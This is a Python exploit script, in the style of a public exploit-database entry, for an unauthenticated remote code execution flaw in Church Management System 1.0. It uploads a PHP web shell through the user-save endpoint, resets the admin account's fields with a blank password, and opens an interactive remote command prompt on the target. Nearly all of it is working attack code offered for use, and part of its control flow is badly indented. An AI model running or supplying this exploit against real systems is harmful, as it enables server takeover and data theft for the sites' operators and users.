Church Management System (CMS-Website) - Unauthenticated RCE

# Exploit Title: Church Management System (CMS-Website) - Unauthenticated RCE
# Exploit Author: Abdullah Khawaja
# Date: 2021-09-17
# Vendor Homepage: https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/church_management_1.zip
# Version: 1.0
# Tested On: Linux + XAMPP 7.4.4
# Description: Church Management System (CMS-Website) 1.0 -  Unauthenticated Remote Code Execution

#Step 1: run the exploit in python with this command: python3 exploit.py
#Step 2: Input the URL of the vulnerable application: Example: http://192.168.10.11/church_management/


import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

print(r"""

                        
                                                                                 .----------. 
                                                                 .-''-.         /          /  
     .                            __  __   ___                 .' .-.  )       /   ______.'   
   .'|                           |  |/  `.'   `.              / .'  / /       /   /_          
 .'  |                           |   .-.  .-.   '            (_/   / /       /      '''--.    
<    |            __        __   |  |  |  |  |  | ,.----------.   / /       '___          `.  
 |   | ____    .:--.'.   .:--.'. |  |  |  |  |  |//            \ / /            `'.         | 
 |   | \ .'   / |   \ | / |   \ ||  |  |  |  |  |\\            /. '                )        | 
 |   |/  .    `" __ | | `" __ | ||  |  |  |  |  | `'----------'/ /    _.-')......-'        /  
 |    /\  \    .'.''| |  .'.''| ||__|  |__|  |__|            .' '  _.'.-'' \          _..'`   
 |   |  \  \  / /   | |_/ /   | |_                          /  /.-'_.'      '------'''        
 '    \  \  \ \ \._,\ '/\ \._,\ '/                         /    _.'                           
'------'  '---'`--'  `"  `--'  `"                         ( _.-'                              

                            abdullahkhawaja.com
            """)



GREEN =  '\033[32m' # Green Text
RED =  '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults
#Create a new session
#proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}



s = requests.Session() 


  
#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")


def webshell(LINK, session):
    try:
        WEB_SHELL = LINK+'uploads/'+filename
        getdir  = {'cmd': 'echo %CD%'}
        r2 = session.get(WEB_SHELL, params=getdir, verify=False)
        status = r2.status_code
        if status != 200:
            print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
            r2.raise_for_status()
        print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
        cwd = re.findall('[CDEF].*', r2.text)
        cwd = cwd[0]+"> "
        term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
        while True:
            thought = input(term)
            command = {'cmd': thought}
            r2 = requests.get(WEB_SHELL, params=command, verify=False)
            status = r2.status_code
            if status != 200:
                r2.raise_for_status()
            response2 = r2.text
            print(response2)
    except:
        print("\r\nExiting.")
        sys.exit(-1)


#Creating a PHP Web Shell

phpshell  = {
               'img': 
                  (
                   'shell.php', 
                   '<?php echo shell_exec($_REQUEST["cmd"]); ?>', 
                   'application/octet-stream', 
                  {'Content-Disposition': 'form-data'}
                  ) 
             }

# Defining value for form data
data = {'id':'1', 'firstname':'Adminstrator', 'lastname':'Admin','username':'admin','password':''}


def id_generator():
    x = datetime.datetime.now()
    date_string = x.strftime("%y-%m-%d %H:%M")
    date = datetime.datetime.strptime(date_string, "%y-%m-%d %H:%M")
    timestamp = datetime.datetime.timestamp(date)
    file = int(timestamp)
    final_name = str(file)+'_shell.php'
    return final_name

filename = id_generator()
#Uploading Reverse Shell
print("[*]Uploading PHP Shell For RCE...")
upload = s.post(LINK+'classes/Users.php?f=save', cookies=cookies, files=phpshell, data=data)

shell_upload = True if("Undefined index: id in" in upload.text) else False
u=shell_upload
if u:
print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)
else:
print(RED+"[-]Failed To Upload The PHP Shell!", RESET)



#Executing The Webshell
webshell(LINK, s)

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